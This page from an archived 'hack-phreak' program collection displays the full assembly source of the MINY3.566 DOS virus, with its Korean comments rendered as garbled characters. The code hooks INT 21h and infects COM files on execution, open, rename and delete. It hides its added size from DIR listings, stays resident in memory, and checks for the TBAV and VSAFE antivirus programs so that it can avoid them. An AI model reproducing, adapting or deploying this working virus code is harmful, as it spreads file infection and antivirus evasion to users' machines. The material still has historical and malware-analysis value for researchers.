home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
KOREACOL.ZIP
/
MINY.ZIP
/
MINY3.ZIP
/
MY3-566.ASM
< prev
next >
Wrap
Assembly Source File
|
1995-06-01
|
12KB
|
346 lines
;******************************************************************************
;* *
;* MINY3.566 Virus *
;* *
;* ┤ßôa ñß╕σ╖Ñ╗íôe í⌐£aòí »a╔I»a ╔A╟aôó╖í ┬üêaûA┤÷öa. DIR íw¥w╖a¥íôe ╗wêa *
;* ╨e ï⌐╖íƒi ┤i«ü ┤⌠öa. *
;* *
;******************************************************************************
PARASIZE EQU (TVirEND - Start + 0Fh) SHR 4 ; £æ╡A¼ß └a╗í╨aôe ╟aïí
VIRUS SEGMENT PARA 'VIRUS'
ASSUME CS:VIRUS, DS:VIRUS
Start: mov SI,100h ; SI=ña╖í£ß»a »í╕b ║ü¡íêt
NOP
JMP ChkVirinMEM ; £æ ¼w║ü ╠a╦a¥í ╕±╧a
NOP
NOP
Stealth: ; »a╔I»a ¼a╢w
CALL DWORD PTR cs:Oldint21 ; DIR ïíôw ╤í┬ë
pushf
cmp al,0FFh ; ╡A£ß?
jz Stealth_Exit
nop
nop
push ax
push si
push ds
mov si, word ptr cs:OrgDTA ; DIR »í 1ah ïíôw╖í ¼a╢wûAôeòA
mov ds, word ptr cs:OrgDTA+2 ; ╖íúí êa¥í└à╥üöa.
cmp byte ptr [SI],0FFh ; ╤┬╕w FCB ╖Ñêa?
jnz No_NFCB
add SI,+07 ; ╤┬╕w╢w FCBƒi FCB ╡┴ ╔╖╖⌐ »í╟▒
No_NFCB: mov AL,byte ptr [SI+17h] ; ┴íƒi ┤Φôeöa.
and AL,1Fh ; êq╡q╡aªü ê±¼a
NOP
cmp AL,1Fh
JNZ NoInfected
sub Word ptr [Si+1Dh],offset VirEND ; COM ╠a╖⌐ ╖e═ü
sbb word ptr [SI+1Fh],+00
NoInfected:
pop ds
pop si
pop ax
Stealth_Exit:
popf
RETF 0002 ; ò⌐┤aêaïí
;*********************************************
; ña╖í£ß»a Int 21h
;*********************************************
NewInt21: ; ¼ü¥í╢à 21h ñσ ╖Ñ╚ߣ≤╦a
Pushf
cmp ah,11h
jz Stealth ; DIR íw¥w╖ííe ¡ó╖íïí
NOP
cmp ah,12h
jz Stealth
cmp ah,4Bh ; »⌐╨ù╖Ñêa?
NOP
jz InfectFile ; ╠a╖⌐ êq╡q ╤í┬ë
NOP
ChkAH: cmp ah,3Dh ; ╡í╧e ╖Ñêa?
NOP
jz InfectFile
cmp ah,43h ; ¡ó¼≈
NOP
jz InfectFile
cmp ah,56h ; ╠a╖⌐ ╖íƒq ñaÄüïí
jz InfectFile
cmp ah,6Ch ; ┬Aïe òí»a╡A ┬üêaûE ╡í╧e ñw»ó
jz InfectFile
cmp ah,41h ; ╠a╖⌐ ╗í╢üïí
jz InfectFile
cmp AX,0F038h ; £æ ¼w║ü ╡aªü ê±¼a╖Ñêa?
jnz Chk_GetDTA
Popf
xor ax,ax ; áx╖aíe 0000╖i ò⌐¥a║æ
IRET
Chk_GetDTA:
cmp ah,1ah ; DTA ║ü¡í ┤Φïí ╖Ñêa?
jnz J_Int21
mov word ptr cs:OrgDTA,dx
mov word ptr cs:OrgDTA+2,ds
J_Int21: ; ╢Ñ£ü int 21¥í ╕±╧a
Popf
DB 0EAh
OldInt21 DD ?
callInt21:
xchg ah,al
PushF
call dword ptr CS:[OldInt21]
RET
;************************************************************
; ╠a╖⌐ êq╡q »í╟íïí
;
InfectFile:
Push AX ; ¥A╗í»a╚ß ╕ß╕w
Push BX
Push CX
Push DX
Push DS
Push ES
Push SI
Push DI
cmp ah,6ch ; ¼ü¥í╢à ╡í╧e ñw»ó╖Ñêa?
jz Chk_EXTisCOM
mov si,dx ; SI= ╠a╖⌐ »í╕b╢ß├í
Chk_EXTisCOM:
lodsb ; DS:[SI] -> AL
cmp al,00 ; ╠a╖⌐ Å{╖Ñêa?
jz JumpExit
cmp al,'V' ; ╠a╖⌐ ╖íƒq╡A V ╕a ╖╢ôeê⌡ ╣A╢A
jz JumpExit ; V3,TV,TVRES ùw ╖e êq╡q╡A¼ß ╣A╢A
cmp al,'.' ; ╤┬╕w╕a èüÑi?
jnz Chk_EXTisCOM
lodsw
cmp ax,'OC' ; ╤┬╕w╕aêa COM ╖Ñêa?
jnz JumpExit
lodsb
cmp al,'M'
jz SetInt24h
JumpExit:
Jmp Pop_all ; COM ╖í ┤aôííe ╣A╢A
SetInt24h:
mov bx,ds ; Int 24h ƒi êa¥í└àöa.
xor ax,ax
mov ds,ax
Push DS:[0090h]
Push DS:[0092h]
mov word ptr DS:[0090h],offset NewInt24
mov word ptr DS:[0092h],cs
mov ds,bx
mov ax,0043h ; ¡ó¼≈ ┤Φïí
call callInt21
Push CX
Push DX
Push DS
MOV AX,0143h ; ╖¬ïí/│aïí ¡ó¼≈╖a¥í ñaÄæ
xor cx,cx
call callInt21
jnc Open_File
J_SET: JMP SetOrgAttr ; ╡A£ßíe ƒí╚σ
Open_File:
NOP
mov ax,023dh ; ╠a╖⌐ ╡í╧e ╨aïí
call callInt21
jc J_SET
push cs ; cs=ds=es
pop ds
push cs
pop es
xchg bx,ax ; ╨àùi ┤Φïí
Read_File:
mov ah,3Fh ; ╖¬┤ß ùi╖íïí
mov dx,offset Org4bytes
mov si,dx
mov cx,0004h
int 21h
mov AX,word ptr [SI] ; EXE ╠a╖⌐╖Ñ╗í ê±¼a
cmp AX,'ZM' ; 'MZ'
jz Close_File
mov al,byte ptr [SI+3] ; êq╡q ╡aªü ╤┬╖Ñ
xor al,38h ;
cmp Al, [SI+2] ;
jz Close_File
mov al,02h ; ╠a╖⌐╖ü ╣A╖⌐ ûߥí
call Set_Pnt
cmp ax,1234 ; 1234 Ñíöa ╕b╖eêa?
jb Close_File
cmp ax,63000 ; 63000 Ñíöa ╟eêa?
ja Close_File
push AX ; JMP╢ß├í ëü¼e
add AX,0100h ; COM ╖e 100h ªü╚ß »í╕b╨aúa¥í +100h
mov word ptr start+1,AX ; AX=ña╖í£ß»a »í╕b╕±
pop AX
sub ax,0003
mov word ptr FileHead+1,ax
mov al,byte ptr FileHead+2 ; êq╡q ╡aªü
xor al,038h ;
mov byte ptr FileHead+3,al
mov ax,5700h ; Éi╝a/»íêe ┤Φïí
Int 21h
Push CX
Push DX
mov al,40h ; ña╖í£ß»a │aïí
xor dx,dx
mov cx, offset VirEND
call callInt21
mov al,00h ; ╠a╖⌐╖ü └ß╖q╖a¥í ╖íò╖
call set_Pnt
mov al,40h ; ña╖í£ß»a │aïí
mov dx, offset FileHead
mov cx,0004h
call callInt21
Pop dx ; ╢Ñ£ü Éi╝a¥í ñaÄüïí
Pop CX
OR CX,+1Fh ; ╕≈¼wòí»a╡A¼ßôe ¼ù¼≈ûI«ü ┤⌠ôe ┴í
mov ax,5701h ; öe╢ß╖▒ (61┴í)
Int 21h
Close_File: ; ╠a╖⌐ öhïí
mov ah,3eh
Int 21h
SetOrgAttr:
Pop DS ; ╢Ñ£ü ¡ó¼≈╖a¥í ñaÄüïí
Pop DX
pop CX
mov ax,0143h
Call callInt21
xor ax,ax ; Int 24h Ñóèü
mov ds,ax
POP DS:[0092h]
POP DS:[0090h]
Pop_All:
Pop DI ; ╢Ñ£ü ¥A╗í»a╚ß Ñóèü
Pop si
Pop ES
Pop ds
Pop dx
Pop cx
Pop bx
Pop ax
Jmp J_Int21
;*********************************************
; £æ ¼w║ü ªüªà
; òí»a╖ü ┬A¼w╢ß╡A ¼w║ü╨eöa.
ChkVirinMEM:
xor AX,AX ; Ñi ╧⌐╢a ┤⌠ôe ╖⌐ê{öa. ñeÑó╕Γ╖a¥í
G_LOOP: nop ; ┤aóü ╖üúí ┤⌠ôe Éü╢w╖i ñeÑó╨eöa.
inc AX ;
cmp AX,1111h ;
jnz G_LOOP ;
mov dx,si ;
NOP
mov ax,3521h ; ES:BX ƒí╚σ
Int 21h
cmp word ptr ES:[000Ah],'BT' ; ES:000A ╡A TBDRVX êa ╖╢╖aíe
jnz ChkVSAFE ; TBAV ╡üñw╢w╖í ╖╢ôeê⌡╖íöa.
NOP
cmp word ptr ES:[000Ch],'RD'
jz Restart ; £æ╡A TBAV ╢w ╧a¥íïa£æ╖í ╣Ñ╕ü╨eöa.
ChkVSAFE:
cmp byte ptr ES:[BX],0EAh ; £æ╡A VSAFE êa ╣Ñ╕ü╨eöa.
jnz ChkVirinM
cmp word ptr ES:[BX+5],80FBh ;
jnz ChkVirinM
jmp Restart
ChkVirinM:
mov ax,38F0h ; AX=F038h
xchg ah,al ;
Int 21h ;
or ax,ax ;
jz Restart
mov word ptr OldInt21[SI],BX ; Int 21h ║ü¡í ╕ß╕w
Mov word ptr OldInt21[SI+2],ES
Push cs ; cs=ax
Pop AX
mov CX, PARASIZE ; ║ë╖⌐ £æ╟aïí
dec ax
mov ds,ax ; MCB (Memory Control Block)
mov BX,0001
cmp byte ptr [BX-1],'Z' ; áa╗íáb ºi£Γ╖Ñêa?
jnz restart
sub word ptr [BX+02],CX ; áa╗íáb ¡Aïaáσ╦a ëü¼e
sub word ptr [BX+11h],CX ; òí»aêa ¼a╢w╨i ╢w£╖ ║ë╖▒
mov ES,word ptr [BX+11h] ;
Push cs ; CS=DS
Pop ds
NOP
mov si,DX ; ña╖í£ß»a Ñó¼a
xor di,di ; IP=0000 ªü╚ß ╣Ñ╕ü╨eöa.
mov cx, offset TVirEnd ; ña╖í£ß»a ï⌐╖í
repz movsb ; Ñó¼a
mov ds,cx ; CX=0000
cli ;
mov word ptr [BX+85h],es ; BX=0001
mov word ptr [BX+83h],offset NewInt21
sti
Restart:
mov si,DX ; SI ôe ña╖í£ß»a »í╕b╢ß├í
push cs ; cs=ds
pop ds
push cs ; ds=es
pop es
add si,offset Org4bytes ; ╢Ñ£ü òA╖í╚ß╖ü êt èü╨aïí
mov di,00FFh ; FF+1 = 100h
Inc DI
push di ; └ß╖q 4ña╖í╦a Ñóèü
movsw
movsw
RET ; »a╚é╡A 100h êa ╕ß╕w
Org4bytes db 90h,90h,0cdh,20h ; ╢Ñ£ü 4 ña╖í╦a╖ü êt
Set_Pnt: xor dx,dx ; ═í╖Ñ╚ß ╖íò╖ ╠≈¡e
xor cx,cx
mov ah,42h
Int 21h
RET
NewInt24: ; ╡A£ßêa Éa╗í ┤gëA╨eöa.
XOR AL,AL
IRET
DB 'Miny3' ; ña╖í£ß»a ╖íƒq
FileHead DB 0E9h
VirEND:
DB ?,?,?
OrgDTA DD ? ; ╢Ñ£ü╖ü DTA êt
TVirEND:
Virus EndS
End start